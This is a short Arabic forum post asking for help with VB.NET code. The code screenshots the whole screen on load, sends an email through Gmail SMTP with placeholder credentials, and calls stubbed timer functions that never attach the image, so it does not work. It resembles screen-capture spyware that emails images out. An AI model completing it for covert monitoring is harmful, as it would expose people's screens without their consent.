23-07-13, 05:33 AM
كود :
Imports System.Web
Imports System.IO
Imports System.Net.Mail
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim bounds As Rectangle = Screen.PrimaryScreen.Bounds
Dim bitm As New Bitmap(bounds.Width, bounds.Height)
Dim gr As Graphics = Graphics.FromImage(bitm)
gr.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, _
CopyPixelOperation.SourceCopy)
PictureBox1.Size = bitm.Size
PictureBox1.Image = bitm
Dim mail As MailMessage = New MailMessage()
mail.To.Add("any email")
mail.From = New MailAddress("your gmail account")
mail.Subject = "Email using Gmail"
Dim Body As String = "<b>Hi</b>, this mail is to test sending mail using Gmail in ASP.NET"
mail.Body = Body
mail.IsBodyHtml = True
Dim smtp As SmtpClient = New SmtpClient()
smtp.Host = "smtp.gmail.com"
smtp.Credentials = New System.Net.NetworkCredential("your gmail account", "your gmail password")
smtp.EnableSsl = True
smtp.Send(mail)
MsgBox("نجح الارسال")
End Sub
Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox1.Click
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
MyEmail.SendFile(Image)
End Sub
Private Function MyEmail() As Object
Throw New NotImplementedException
End Function
Private Function Image() As Object
Throw New NotImplementedException
End Function
End Class
انا عملت كده ومافيش نتيجة برضو ليه ايه الخطأ